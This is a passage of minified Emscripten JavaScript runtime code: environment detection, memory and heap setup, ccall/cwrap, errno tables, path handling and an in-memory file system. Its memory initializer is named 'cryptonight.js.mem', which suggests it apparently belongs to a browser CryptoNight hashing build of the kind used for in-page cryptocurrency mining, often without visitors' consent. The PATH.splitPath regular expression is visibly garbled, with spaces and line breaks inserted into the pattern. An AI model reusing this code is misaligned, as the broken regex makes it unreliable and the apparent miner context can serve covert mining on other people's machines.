if (ENVIRONMENT_IS_WEB = "object" == typeof window, ENVIRONMENT_IS_WORKER = "function" == typeof importScripts, !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_WORKER) throw "Unknown runtime environment. Where are we?";
if (Module.read = function(e) {
var r = new XMLHttpRequest;
return r.open("GET", e, !1), r.send(null), r.responseText
}, ENVIRONMENT_IS_WORKER && (Module.readBinary = function(e) {
var r = new XMLHttpRequest;
return r.open("GET", e, !1), r.responseType = "arraybuffer", r.send(null), new Uint8Array(r.response)
}), Module.readAsync = function(e, r, t) {
var n = new XMLHttpRequest;
n.open("GET", e, !0), n.responseType = "arraybuffer", n.onload = function() {
200 == n.status || 0 == n.status && n.response ? r(n.response) : t()
}, n.onerror = t, n.send(null)
}, "undefined" != typeof arguments && (Module.arguments = arguments), "undefined" != typeof console) Module.print || (Module.print = function(e) {
console.log(e)
}), Module.printErr || (Module.printErr = function(e) {
console.warn(e)
});
else {
var TRY_USE_DUMP = !1;
Module.print || (Module.print = TRY_USE_DUMP && "undefined" != typeof dump ? function(e) {
dump(e)
} : function(e) {})
}
ENVIRONMENT_IS_WORKER && (Module.load = importScripts), void 0 === Module.setWindowTitle && (Module.setWindowTitle = function(e) {
document.title = e
}), !Module.load && Module.read && (Module.load = function(e) {
globalEval(Module.read(e))
}), Module.print || (Module.print = function() {}), Module.printErr || (Module.printErr = Module.print), Module.arguments || (Module.arguments = []), Module.thisProgram || (Module.thisProgram = "./this.program"), Module.quit || (Module.quit = function(e, r) {
throw r
}), Module.print = Module.print, Module.printErr = Module.printErr, Module.preRun = [], Module.postRun = [];
for (var key in moduleOverrides) moduleOverrides.hasOwnProperty(key) && (Module[key] = moduleOverrides[key]);
moduleOverrides = void 0;
var Runtime = {
setTempRet0: function(e) {
return tempRet0 = e, e
},
getTempRet0: function() {
return tempRet0
},
stackSave: function() {
return STACKTOP
},
stackRestore: function(e) {
STACKTOP = e
},
getNativeTypeSize: function(e) {
switch (e) {
case "i1":
case "i8":
return 1;
case "i16":
return 2;
case "i32":
return 4;
case "i64":
return 8;
case "float":
return 4;
case "double":
return 8;
default:
if ("*" === e[e.length - 1]) return Runtime.QUANTUM_SIZE;
if ("i" === e[0]) {
var r = parseInt(e.substr(1));
return assert(r % 8 == 0), r / 8
}
return 0
}
},
getNativeFieldSize: function(e) {
return Math.max(Runtime.getNativeTypeSize(e), Runtime.QUANTUM_SIZE)
},
STACK_ALIGN: 16,
prepVararg: function(e, r) {
return "double" === r || "i64" === r ? 7 & e && (assert(4 == (7 & e)), e += 4) : assert(0 == (3 & e)), e
},
getAlignSize: function(e, r, t) {
return t || "i64" != e && "double" != e ? e ? Math.min(r || (e ? Runtime.getNativeFieldSize(e) : 0), Runtime.QUANTUM_SIZE) : Math.min(r, 8) : 8
},
dynCall: function(e, r, t) {
return t && t.length ? Module["dynCall_" + e].apply(null, [r].concat(t)) : Module["dynCall_" + e].call(null, r)
},
functionPointers: [],
addFunction: function(e) {
for (var r = 0; r < Runtime.functionPointers.length; r++)
if (!Runtime.functionPointers[r]) return Runtime.functionPointers[r] = e, 2 * (1 + r);
throw "Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS."
},
removeFunction: function(e) {
Runtime.functionPointers[(e - 2) / 2] = null
},
warnOnce: function(e) {
Runtime.warnOnce.shown || (Runtime.warnOnce.shown = {}), Runtime.warnOnce.shown[e] || (Runtime.warnOnce.shown[e] = 1, Module.printErr(e))
},
funcWrappers: {},
getFuncWrapper: function(e, r) {
assert(r), Runtime.funcWrappers[r] || (Runtime.funcWrappers[r] = {});
var t = Runtime.funcWrappers[r];
return t[e] || (1 === r.length ? t[e] = function() {
return Runtime.dynCall(r, e)
} : 2 === r.length ? t[e] = function(t) {
return Runtime.dynCall(r, e, [t])
} : t[e] = function() {
return Runtime.dynCall(r, e, Array.prototype.slice.call(arguments))
}), t[e]
},
getCompilerSetting: function(e) {
throw "You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work"
},
stackAlloc: function(e) {
var r = STACKTOP;
return STACKTOP = STACKTOP + e | 0, STACKTOP = STACKTOP + 15 & -16, r
},
staticAlloc: function(e) {
var r = STATICTOP;
return STATICTOP = STATICTOP + e | 0, STATICTOP = STATICTOP + 15 & -16, r
},
dynamicAlloc: function(e) {
var r = HEAP32[DYNAMICTOP_PTR >> 2],
t = -16 & (r + e + 15 | 0);
if (HEAP32[DYNAMICTOP_PTR >> 2] = t, t >= TOTAL_MEMORY) {
if (!enlargeMemory()) return HEAP32[DYNAMICTOP_PTR >> 2] = r, 0
}
return r
},
alignMemory: function(e, r) {
return e = Math.ceil(e / (r || 16)) * (r || 16)
},
makeBigInt: function(e, r, t) {
return t ? +(e >>> 0) + 4294967296 * +(r >>> 0) : +(e >>> 0) + 4294967296 * +(0 | r)
},
GLOBAL_BASE: 1024,
QUANTUM_SIZE: 4,
__dummy__: 0
};
Module.Runtime = Runtime;
var ABORT = 0,
EXITSTATUS = 0,
cwrap, ccall;
! function() {
function parseJSFunc(e) {
var r = e.toString().match(sourceRegex).slice(1);
return {
arguments: r[0],
body: r[1],
returnValue: r[2]
}
}
function ensureJSsource() {
if (!JSsource) {
JSsource = {};
for (var e in JSfuncs) JSfuncs.hasOwnProperty(e) && (JSsource[e] = parseJSFunc(JSfuncs[e]))
}
}
var JSfuncs = {
stackSave: function() {
Runtime.stackSave()
},
stackRestore: function() {
Runtime.stackRestore()
},
arrayToC: function(e) {
var r = Runtime.stackAlloc(e.length);
return writeArrayToMemory(e, r), r
},
stringToC: function(e) {
var r = 0;
if (null !== e && void 0 !== e && 0 !== e) {
var t = 1 + (e.length << 2);
stringToUTF8(e, r = Runtime.stackAlloc(t), t)
}
return r
}
},
toC = {
string: JSfuncs.stringToC,
array: JSfuncs.arrayToC
};
ccall = function(e, r, t, n, o) {
var i = getCFunc(e),
a = [],
s = 0;
if (n)
for (var u = 0; u < n.length; u++) {
var l = toC[t[u]];
l ? (0 === s && (s = Runtime.stackSave()), a[u] = l(n[u])) : a[u] = n[u]
}
var c = i.apply(null, a);
if ("string" === r && (c = Pointer_stringify(c)), 0 !== s) {
if (o && o.async) return void EmterpreterAsync.asyncFinalizers.push(function() {
Runtime.stackRestore(s)
});
Runtime.stackRestore(s)
}
return c
};
var sourceRegex = /^function\\s*[a-zA-Z$_0-9]*\\s*\\(([^)]*)\\)\\s*\\{\\s*([^*]*?)[\\s;]*(?:return\\s*(.*?)[;\\s]*)?\\}$/,
JSsource = null;
cwrap = function cwrap(ident, returnType, argTypes) {
argTypes = argTypes || [];
var cfunc = getCFunc(ident),
numericArgs = argTypes.every(function(e) {
return "number" === e
}),
numericRet = "string" !== returnType;
if (numericRet && numericArgs) return cfunc;
var argNames = argTypes.map(function(e, r) {
return "$" + r
}),
funcstr = "(function(" + argNames.join(",") + ") {",
nargs = argTypes.length;
if (!numericArgs) {
ensureJSsource(), funcstr += "var stack = " + JSsource.stackSave.body + ";";
for (var i = 0; i < nargs; i++) {
var arg = argNames[i],
type = argTypes[i];
if ("number" !== type) {
var convertCode = JSsource[type + "ToC"];
funcstr += "var " + convertCode.arguments + " = " + arg + ";", funcstr += convertCode.body + ";", funcstr += arg + "=(" + convertCode.returnValue + ");"
}
}
}
var cfuncname = parseJSFunc(function() {
return cfunc
}).returnValue;
if (funcstr += "var ret = " + cfuncname + "(" + argNames.join(",") + ");", !numericRet) {
var strgfy = parseJSFunc(function() {
return Pointer_stringify
}).returnValue;
funcstr += "ret = " + strgfy + "(ret);"
}
return numericArgs || (ensureJSsource(), funcstr += JSsource.stackRestore.body.replace("()", "(stack)") + ";"), funcstr += "return ret})", eval(funcstr)
}
}(), Module.ccall = ccall, Module.cwrap = cwrap, Module.setValue = setValue, Module.getValue = getValue;
var ALLOC_NORMAL = 0,
ALLOC_STACK = 1,
ALLOC_STATIC = 2,
ALLOC_DYNAMIC = 3,
ALLOC_NONE = 4;
Module.ALLOC_NORMAL = ALLOC_NORMAL, Module.ALLOC_STACK = ALLOC_STACK, Module.ALLOC_STATIC = ALLOC_STATIC, Module.ALLOC_DYNAMIC = ALLOC_DYNAMIC, Module.ALLOC_NONE = ALLOC_NONE, Module.allocate = allocate, Module.getMemory = getMemory, Module.Pointer_stringify = Pointer_stringify, Module.AsciiToString = AsciiToString, Module.stringToAscii = stringToAscii;
var UTF8Decoder = "undefined" != typeof TextDecoder ? new TextDecoder("utf8") : void 0;
Module.UTF8ArrayToString = UTF8ArrayToString, Module.UTF8ToString = UTF8ToString, Module.stringToUTF8Array = stringToUTF8Array, Module.stringToUTF8 = stringToUTF8, Module.lengthBytesUTF8 = lengthBytesUTF8;
var UTF16Decoder = "undefined" != typeof TextDecoder ? new TextDecoder("utf-16le") : void 0;
Module.stackTrace = stackTrace;
var WASM_PAGE_SIZE = 65536,
ASMJS_PAGE_SIZE = 16777216,
HEAP, buffer, HEAP8, HEAPU8, HEAP16, HEAPU16, HEAP32, HEAPU32, HEAPF32, HEAPF64, STATIC_BASE, STATICTOP, staticSealed, STACK_BASE, STACKTOP, STACK_MAX, DYNAMIC_BASE, DYNAMICTOP_PTR;
STATIC_BASE = STATICTOP = STACK_BASE = STACKTOP = STACK_MAX = DYNAMIC_BASE = DYNAMICTOP_PTR = 0, staticSealed = !1;
var TOTAL_STACK = Module.TOTAL_STACK || 5242880,
TOTAL_MEMORY = Module.TOTAL_MEMORY || 16777216;
if (TOTAL_MEMORY < TOTAL_STACK && Module.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was " + TOTAL_MEMORY + "! (TOTAL_STACK=" + TOTAL_STACK + ")"), Module.buffer ? buffer = Module.buffer : "object" == typeof WebAssembly && "function" == typeof WebAssembly.Memory ? (Module.wasmMemory = new WebAssembly.Memory({
initial: TOTAL_MEMORY / WASM_PAGE_SIZE,
maximum: TOTAL_MEMORY / WASM_PAGE_SIZE
}), buffer = Module.wasmMemory.buffer) : buffer = new ArrayBuffer(TOTAL_MEMORY), updateGlobalBufferViews(), HEAP32[0] = 1668509029, HEAP16[1] = 25459, 115 !== HEAPU8[2] || 99 !== HEAPU8[3]) throw "Runtime error: expected the system to be little-endian!";
Module.HEAP = HEAP, Module.buffer = buffer, Module.HEAP8 = HEAP8, Module.HEAP16 = HEAP16, Module.HEAP32 = HEAP32, Module.HEAPU8 = HEAPU8, Module.HEAPU16 = HEAPU16, Module.HEAPU32 = HEAPU32, Module.HEAPF32 = HEAPF32, Module.HEAPF64 = HEAPF64;
var __ATPRERUN__ = [],
__ATINIT__ = [],
__ATMAIN__ = [],
__ATEXIT__ = [],
__ATPOSTRUN__ = [],
runtimeInitialized = !1,
runtimeExited = !1;
if (Module.addOnPreRun = addOnPreRun, Module.addOnInit = addOnInit, Module.addOnPreMain = addOnPreMain, Module.addOnExit = addOnExit, Module.addOnPostRun = addOnPostRun, Module.intArrayFromString = intArrayFromString, Module.intArrayToString = intArrayToString, Module.writeStringToMemory = writeStringToMemory, Module.writeArrayToMemory = writeArrayToMemory, Module.writeAsciiToMemory = writeAsciiToMemory, Math.imul && -5 === Math.imul(4294967295, 5) || (Math.imul = function(e, r) {
var t = 65535 & e,
n = 65535 & r;
return t * n + ((e >>> 16) * n + t * (r >>> 16) << 16) | 0
}), Math.imul = Math.imul, !Math.fround) {
var froundBuffer = new Float32Array(1);
Math.fround = function(e) {
return froundBuffer[0] = e, froundBuffer[0]
}
}
Math.fround = Math.fround, Math.clz32 || (Math.clz32 = function(e) {
e >>>= 0;
for (var r = 0; r < 32; r++)
if (e & 1 << 31 - r) return r;
return 32
}), Math.clz32 = Math.clz32, Math.trunc || (Math.trunc = function(e) {
return e < 0 ? Math.ceil(e) : Math.floor(e)
}), Math.trunc = Math.trunc;
var Math_abs = Math.abs,
Math_cos = Math.cos,
Math_sin = Math.sin,
Math_tan = Math.tan,
Math_acos = Math.acos,
Math_asin = Math.asin,
Math_atan = Math.atan,
Math_atan2 = Math.atan2,
Math_exp = Math.exp,
Math_log = Math.log,
Math_sqrt = Math.sqrt,
Math_ceil = Math.ceil,
Math_floor = Math.floor,
Math_pow = Math.pow,
Math_imul = Math.imul,
Math_fround = Math.fround,
Math_round = Math.round,
Math_min = Math.min,
Math_clz32 = Math.clz32,
Math_trunc = Math.trunc,
runDependencies = 0,
runDependencyWatcher = null,
dependenciesFulfilled = null;
Module.addRunDependency = addRunDependency, Module.removeRunDependency = removeRunDependency, Module.preloadedImages = {}, Module.preloadedAudios = {};
var memoryInitializer = null;
integrateWasmJS(Module);
var ASM_CONSTS = [];
STATIC_BASE = Runtime.GLOBAL_BASE, STATICTOP = STATIC_BASE + 12512, __ATINIT__.push(), memoryInitializer = Module.wasmJSMethod.indexOf("asmjs") >= 0 || Module.wasmJSMethod.indexOf("interpret-asm2wasm") >= 0 ? "cryptonight.js.mem" : null;
var STATIC_BUMP = 12512;
Module.STATIC_BASE = STATIC_BASE, Module.STATIC_BUMP = STATIC_BUMP;
var tempDoublePtr = STATICTOP;
STATICTOP += 16;
var PROCINFO = {
ppid: 1,
pid: 42,
sid: 42,
pgid: 42
},
ERRNO_CODES = {
EPERM: 1,
ENOENT: 2,
ESRCH: 3,
EINTR: 4,
EIO: 5,
ENXIO: 6,
E2BIG: 7,
ENOEXEC: 8,
EBADF: 9,
ECHILD: 10,
EAGAIN: 11,
EWOULDBLOCK: 11,
ENOMEM: 12,
EACCES: 13,
EFAULT: 14,
ENOTBLK: 15,
EBUSY: 16,
EEXIST: 17,
EXDEV: 18,
ENODEV: 19,
ENOTDIR: 20,
EISDIR: 21,
EINVAL: 22,
ENFILE: 23,
EMFILE: 24,
ENOTTY: 25,
ETXTBSY: 26,
EFBIG: 27,
ENOSPC: 28,
ESPIPE: 29,
EROFS: 30,
EMLINK: 31,
EPIPE: 32,
EDOM: 33,
ERANGE: 34,
ENOMSG: 42,
EIDRM: 43,
ECHRNG: 44,
EL2NSYNC: 45,
EL3HLT: 46,
EL3RST: 47,
ELNRNG: 48,
EUNATCH: 49,
ENOCSI: 50,
EL2HLT: 51,
EDEADLK: 35,
ENOLCK: 37,
EBADE: 52,
EBADR: 53,
EXFULL: 54,
ENOANO: 55,
EBADRQC: 56,
EBADSLT: 57,
EDEADLOCK: 35,
EBFONT: 59,
ENOSTR: 60,
ENODATA: 61,
ETIME: 62,
ENOSR: 63,
ENONET: 64,
ENOPKG: 65,
EREMOTE: 66,
ENOLINK: 67,
EADV: 68,
ESRMNT: 69,
ECOMM: 70,
EPROTO: 71,
EMULTIHOP: 72,
EDOTDOT: 73,
EBADMSG: 74,
ENOTUNIQ: 76,
EBADFD: 77,
EREMCHG: 78,
ELIBACC: 79,
ELIBBAD: 80,
ELIBSCN: 81,
ELIBMAX: 82,
ELIBEXEC: 83,
ENOSYS: 38,
ENOTEMPTY: 39,
ENAMETOOLONG: 36,
ELOOP: 40,
EOPNOTSUPP: 95,
EPFNOSUPPORT: 96,
ECONNRESET: 104,
ENOBUFS: 105,
EAFNOSUPPORT: 97,
EPROTOTYPE: 91,
ENOTSOCK: 88,
ENOPROTOOPT: 92,
ESHUTDOWN: 108,
ECONNREFUSED: 111,
EADDRINUSE: 98,
ECONNABORTED: 103,
ENETUNREACH: 101,
ENETDOWN: 100,
ETIMEDOUT: 110,
EHOSTDOWN: 112,
EHOSTUNREACH: 113,
EINPROGRESS: 115,
EALREADY: 114,
EDESTADDRREQ: 89,
EMSGSIZE: 90,
EPROTONOSUPPORT: 93,
ESOCKTNOSUPPORT: 94,
EADDRNOTAVAIL: 99,
ENETRESET: 102,
EISCONN: 106,
ENOTCONN: 107,
ETOOMANYREFS: 109,
EUSERS: 87,
EDQUOT: 122,
ESTALE: 116,
ENOTSUP: 95,
ENOMEDIUM: 123,
EILSEQ: 84,
EOVERFLOW: 75,
ECANCELED: 125,
ENOTRECOVERABLE: 131,
EOWNERDEAD: 130,
ESTRPIPE: 86
},
ERRNO_MESSAGES = {
0: "Success",
1: "Not super-user",
2: "No such file or directory",
3: "No such process",
4: "Interrupted system call",
5: "I/O error",
6: "No such device or address",
7: "Arg list too long",
8: "Exec format error",
9: "Bad file number",
10: "No children",
11: "No more processes",
12: "Not enough core",
13: "Permission denied",
14: "Bad address",
15: "Block device required",
16: "Mount device busy",
17: "File exists",
18: "Cross-device link",
19: "No such device",
20: "Not a directory",
21: "Is a directory",
22: "Invalid argument",
23: "Too many open files in system",
24: "Too many open files",
25: "Not a typewriter",
26: "Text file busy",
27: "File too large",
28: "No space left on device",
29: "Illegal seek",
30: "Read only file system",
31: "Too many links",
32: "Broken pipe",
33: "Math arg out of domain of func",
34: "Math result not representable",
35: "File locking deadlock error",
36: "File or path name too long",
37: "No record locks available",
38: "Function not implemented",
39: "Directory not empty",
40: "Too many symbolic links",
42: "No message of desired type",
43: "Identifier removed",
44: "Channel number out of range",
45: "Level 2 not synchronized",
46: "Level 3 halted",
47: "Level 3 reset",
48: "Link number out of range",
49: "Protocol driver not attached",
50: "No CSI structure available",
51: "Level 2 halted",
52: "Invalid exchange",
53: "Invalid request descriptor",
54: "Exchange full",
55: "No anode",
56: "Invalid request code",
57: "Invalid slot",
59: "Bad font file fmt",
60: "Device not a stream",
61: "No data (for no delay io)",
62: "Timer expired",
63: "Out of streams resources",
64: "Machine is not on the network",
65: "Package not installed",
66: "The object is remote",
67: "The link has been severed",
68: "Advertise error",
69: "Srmount error",
70: "Communication error on send",
71: "Protocol error",
72: "Multihop attempted",
73: "Cross mount point (not really error)",
74: "Trying to read unreadable message",
75: "Value too large for defined data type",
76: "Given log. name not unique",
77: "f.d. invalid for this operation",
78: "Remote address changed",
79: "Can access a needed shared lib",
80: "Accessing a corrupted shared lib",
81: ".lib section in a.out corrupted",
82: "Attempting to link in too many libs",
83: "Attempting to exec a shared library",
84: "Illegal byte sequence",
86: "Streams pipe error",
87: "Too many users",
88: "Socket operation on non-socket",
89: "Destination address required",
90: "Message too long",
91: "Protocol wrong type for socket",
92: "Protocol not available",
93: "Unknown protocol",
94: "Socket type not supported",
95: "Not supported",
96: "Protocol family not supported",
97: "Address family not supported by protocol family",
98: "Address already in use",
99: "Address not available",
100: "Network interface is not configured",
101: "Network is unreachable",
102: "Connection reset by network",
103: "Connection aborted",
104: "Connection reset by peer",
105: "No buffer space available",
106: "Socket is already connected",
107: "Socket is not connected",
108: "Can't send after socket shutdown",
109: "Too many references",
110: "Connection timed out",
111: "Connection refused",
112: "Host is down",
113: "Host is unreachable",
114: "Socket already connected",
115: "Connection already in progress",
116: "Stale file handle",
122: "Quota exceeded",
123: "No medium (in tape drive)",
125: "Operation canceled",
130: "Previous owner died",
131: "State not recoverable"
},
PATH = {
splitPath: function(e) {
return /^(\\/ ? | )([\\s\\ S] * ? )(( ? : \\. {
1,
2
} | [ ^ \\/]+?|)(\\.[^.\\/]*|))(?:[\\/]*)$/.exec(e).slice(1)
}, normalizeArray: function(e, r) {
for (var t = 0, n = e.length - 1; n >= 0; n--) {
var o = e[n];
"." === o ? e.splice(n, 1) : ".." === o ? (e.splice(n, 1), t++) : t && (e.splice(n, 1), t--)
}
if (r)
for (; t; t--) e.unshift("..");
return e
}, normalize: function(e) {
var r = "/" === e.charAt(0),
t = "/" === e.substr(-1);
return (e = PATH.normalizeArray(e.split("/").filter(function(e) {
return !!e
}), !r).join("/")) || r || (e = "."), e && t && (e += "/"), (r ? "/" : "") + e
}, dirname: function(e) {
var r = PATH.splitPath(e),
t = r[0],
n = r[1];
return t || n ? (n && (n = n.substr(0, n.length - 1)), t + n) : "."
}, basename: function(e) {
if ("/" === e) return "/";
var r = e.lastIndexOf("/");
return -1 === r ? e : e.substr(r + 1)
}, extname: function(e) {
return PATH.splitPath(e)[3]
}, join: function() {
var e = Array.prototype.slice.call(arguments, 0);
return PATH.normalize(e.join("/"))
}, join2: function(e, r) {
return PATH.normalize(e + "/" + r)
}, resolve: function() {
for (var e = "", r = !1, t = arguments.length - 1; t >= -1 && !r; t--) {
var n = t >= 0 ? arguments[t] : FS.cwd();
if ("string" != typeof n) throw new TypeError("Arguments to path.resolve must be strings");
if (!n) return "";
e = n + "/" + e, r = "/" === n.charAt(0)
}
return e = PATH.normalizeArray(e.split("/").filter(function(e) {
return !!e
}), !r).join("/"), (r ? "/" : "") + e || "."
}, relative: function(e, r) {
function t(e) {
for (var r = 0; r < e.length && "" === e[r]; r++);
for (var t = e.length - 1; t >= 0 && "" === e[t]; t--);
return r > t ? [] : e.slice(r, t - r + 1)
}
e = PATH.resolve(e).substr(1), r = PATH.resolve(r).substr(1);
for (var n = t(e.split("/")), o = t(r.split("/")), i = Math.min(n.length, o.length), a = i, s = 0; s < i; s++)
if (n[s] !== o[s]) {
a = s;
break
}
var u = [];
for (s = a; s < n.length; s++) u.push("..");
return (u = u.concat(o.slice(a))).join("/")
}
}, TTY = {
ttys: [],
init: function() {},
shutdown: function() {},
register: function(e, r) {
TTY.ttys[e] = {
input: [],
output: [],
ops: r
}, FS.registerDevice(e, TTY.stream_ops)
},
stream_ops: {
open: function(e) {
var r = TTY.ttys[e.node.rdev];
if (!r) throw new FS.ErrnoError(ERRNO_CODES.ENODEV);
e.tty = r, e.seekable = !1
},
close: function(e) {
e.tty.ops.flush(e.tty)
},
flush: function(e) {
e.tty.ops.flush(e.tty)
},
read: function(e, r, t, n, o) {
if (!e.tty || !e.tty.ops.get_char) throw new FS.ErrnoError(ERRNO_CODES.ENXIO);
for (var i = 0, a = 0; a < n; a++) {
var s;
try {
s = e.tty.ops.get_char(e.tty)
} catch (e) {
throw new FS.ErrnoError(ERRNO_CODES.EIO)
}
if (void 0 === s && 0 === i) throw new FS.ErrnoError(ERRNO_CODES.EAGAIN);
if (null === s || void 0 === s) break;
i++, r[t + a] = s
}
return i && (e.node.timestamp = Date.now()), i
},
write: function(e, r, t, n, o) {
if (!e.tty || !e.tty.ops.put_char) throw new FS.ErrnoError(ERRNO_CODES.ENXIO);
for (var i = 0; i < n; i++) try {
e.tty.ops.put_char(e.tty, r[t + i])
} catch (e) {
throw new FS.ErrnoError(ERRNO_CODES.EIO)
}
return n && (e.node.timestamp = Date.now()), i
}
},
default_tty_ops: {
get_char: function(e) {
if (!e.input.length) {
var r = null;
if ("undefined" != typeof window && "function" == typeof window.prompt ? null !== (r = window.prompt("Input: ")) && (r += "\\n") : "function" == typeof readline && null !== (r = readline()) && (r += "\\n"), !r) return null;
e.input = intArrayFromString(r, !0)
}
return e.input.shift()
},
put_char: function(e, r) {
null === r || 10 === r ? (Module.print(UTF8ArrayToString(e.output, 0)), e.output = []) : 0 != r && e.output.push(r)
},
flush: function(e) {
e.output && e.output.length > 0 && (Module.print(UTF8ArrayToString(e.output, 0)), e.output = [])
}
},
default_tty1_ops: {
put_char: function(e, r) {
null === r || 10 === r ? (Module.printErr(UTF8ArrayToString(e.output, 0)), e.output = []) : 0 != r && e.output.push(r)
},
flush: function(e) {
e.output && e.output.length > 0 && (Module.printErr(UTF8ArrayToString(e.output, 0)), e.output = [])
}
}
}, MEMFS = {
ops_table: null,
mount: function(e) {
return MEMFS.createNode(null, "/", 16895, 0)
},
createNode: function(e, r, t, n) {
if (FS.isBlkdev(t) || FS.isFIFO(t)) throw new FS.ErrnoError(ERRNO_CODES.EPERM);
MEMFS.ops_table || (MEMFS.ops_table = {
dir: {
node: {
getattr: MEMFS.node_ops.getattr,
setattr: MEMFS.node_ops.setattr,
lookup: MEMFS.node_ops.lookup,
mknod: MEMFS.node_ops.mknod,
rename: MEMFS.node_ops.rename,
unlink: MEMFS.node_ops.unlink,
rmdir: MEMFS.node_ops.rmdir,
readdir: MEMFS.node_ops.readdir,
symlink: MEMFS.node_ops.symlink
},
stream: {
llseek: MEMFS.stream_ops.llseek
}
},
file: {
node: {
getattr: MEMFS.node_ops.getattr,
setattr: MEMFS.node_ops.setattr
},
stream: {
llseek: MEMFS.stream_ops.llseek,
read: MEMFS.stream_ops.read,
write: MEMFS.stream_ops.write,
allocate: MEMFS.stream_ops.allocate,
mmap: MEMFS.stream_ops.mmap,
msync: MEMFS.stream_ops.msync
}
},
link: {
node: {
getattr: MEMFS.node_ops.getattr,
setattr: MEMFS.node_ops.setattr,
readlink: MEMFS.node_ops.readlink
},
stream: {}
},
chrdev: {
node: {
getattr: MEMFS.node_ops.getattr,
setattr: MEMFS.node_ops.setattr
},
stream: FS.chrdev_stream_ops
}
});
var o = FS.createNode(e, r, t, n);
return FS.isDir(o.mode) ? (o.node_ops = MEMFS.ops_table.dir.node, o.stream_ops = MEMFS.ops_table.dir.stream, o.contents = {}) : FS.isFile(o.mode) ? (o.node_ops = MEMFS.ops_table.file.node, o.stream_ops = MEMFS.ops_table.file.stream, o.usedBytes = 0, o.contents = null) : FS.isLink(o.mode) ? (o.node_ops = MEMFS.ops_table.link.node, o.stream_ops = MEMFS.ops_table.link.stream) : FS.isChrdev(o.mode) && (o.node_ops = MEMFS.ops_table.chrdev.node, o.stream_ops = MEMFS.ops_table.chrdev.stream), o.timestamp = Date.now(), e && (e.contents[r] = o), o
},
getFileDataAsRegularArray: function(e) {
if (e.contents && e.contents.subarray) {
for (var r = [], t = 0; t < e.usedBytes; ++t) r.push(e.contents[t]);
return r
}
return e.contents
},
getFileDataAsTypedArray: function(e) {
return e.contents ? e.contents.subarray ? e.contents.subarray(0, e.usedBytes) : new Uint8Array(e.contents) : new Uint8Array
},
expandFileStorage: function(e, r) {
if (e.contents && e.contents.subarray && r > e.contents.length && (e.contents = MEMFS.getFileDataAsRegularArray(e), e.usedBytes = e.contents.length), !e.contents || e.contents.subarray) {
var t = e.contents ? e.contents.length : 0;
if (t >= r) return;
r = Math.max(r, t * (t < 1048576 ? 2 : 1.125) | 0), 0 != t && (r = Math.max(r, 256));
var n = e.contents;
return e.contents = new Uint8Array(r), void(e.usedBytes > 0 && e.contents.set(n.subarray(0, e.usedBytes), 0))
}
for (!e.contents && r > 0 && (e.contents = []); e.contents.length < r;) e.contents.push(0)
},
resizeFileStorage: function(e, r) {
if (e.usedBytes != r) {
if (0 == r) return e.contents = null, void(e.usedBytes = 0);
if (!e.contents || e.contents.subarray) {
var t = e.contents;
return e.contents = new Uint8Array(new ArrayBuffer(r)), t && e.contents.set(t.subarray(0, Math.min(r, e.usedBytes))), void(e.usedBytes = r)
}
if (e.contents || (e.contents = []), e.contents.length > r) e.contents.length = r;
else
for (; e.contents.length < r;) e.contents.push(0);
e.usedBytes = r
}
},
node_ops: {
getattr: function(e) {
var r = {};
return r.dev = FS.isChrdev(e.mode) ? e.id : 1, r.ino = e.id, r.mode = e.mode, r.nlink = 1, r.uid = 0, r.gid = 0, r.rdev = e.rdev, FS.isDir(e.mode) ? r.size = 4096 : FS.isFile(e.mode) ? r.size = e.usedBytes : FS.isLink(e.mode) ? r.size = e.link.length : r.size = 0, r.atime = new Date(e.timestamp), r.mtime = new Date(e.timestamp), r.ctime = new Date(e.timestamp), r.blksize = 4096, r.blocks = Math.ceil(r.size / r.blksize), r
},
setattr: function(e, r) {
void 0 !== r.mode && (e.mode = r.mode), void 0 !== r.timestamp && (e.timestamp = r.timestamp), void 0 !== r.size && MEMFS.resizeFileStorage(e, r.size)
},
lookup: function(e, r) {
throw FS.genericErrors[ERRNO_CODES.ENOENT]
},
mknod: function(e, r, t, n) {
return MEMFS.createNode(e, r, t, n)
},
rename: function(e, r, t) {
if (FS.isDir(e.mode)) {
var n;
try {
n = FS.lookupNode(r, t)
} catch (e) {}
if (n)
for (var o in n.contents) throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
}
delete e.parent.contents[e.name], e.name = t, r.contents[t] = e, e.parent = r
},
unlink: function(e, r) {
delete e.contents[r]
},
rmdir: function(e, r) {
var t = FS.lookupNode(e, r);
for (var n in t.contents) throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY);
delete e.contents[r]
},
readdir: function(e) {
var r = [".", ".."];
for (var t in e.contents) e.contents.hasOwnProperty(t) && r.push(t);
return r
},
symlink: function(e, r, t) {
var n = MEMFS.createNode(e, r, 41471, 0);
return n.link = t, n
},
readlink: function(e) {
if (!FS.isLink(e.mode)) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
return e.link
}
},
stream_ops: {
read: function(e, r, t, n, o) {
var i = e.node.contents;
if (o >= e.node.usedBytes) return 0;
var a = Math.min(e.node.usedBytes - o, n);
if (assert(a >= 0), a > 8 && i.subarray) r.set(i.subarray(o, o + a), t);
else
for (var s = 0; s < a; s++) r[t + s] = i[o + s];
return a
},
write: function(e, r, t, n, o, i) {
if (!n) return 0;
var a = e.node;
if (a.timestamp = Date.now(), r.subarray && (!a.contents || a.contents.subarray)) {
if (i) return a.contents = r.subarray(t, t + n), a.usedBytes = n, n;
if (0 === a.usedBytes && 0 === o) return a.contents = new Uint8Array(r.subarray(t, t + n)), a.usedBytes = n, n;
if (o + n <= a.usedBytes) return a.contents.set(r.subarray(t, t + n), o), n
}
if (MEMFS.expandFileStorage(a, o + n), a.contents.subarray && r.subarray) a.contents.set(r.subarray(t, t + n), o);
else
for (var s = 0; s < n; s++) a.contents[o + s] = r[t + s];
return a.usedBytes = Math.max(a.usedBytes, o + n), n
},
llseek: function(e, r, t) {
var n = r;
if (1 === t ? n += e.position : 2 === t && FS.isFile(e.node.mode) && (n += e.node.usedBytes), n < 0) throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
return n
},
allocate: function(e, r, t) {
MEMFS.expandFileStorage(e.node, r + t), e.node.usedBytes = Math.max(e.node.usedBytes, r + t)
},
mmap: function(e, r, t, n, o, i, a) {
if (!FS.isFile(e.node.mode)) throw new FS.ErrnoError(ERRNO_CODES.ENODEV);
var s, u, l = e.node.contents;
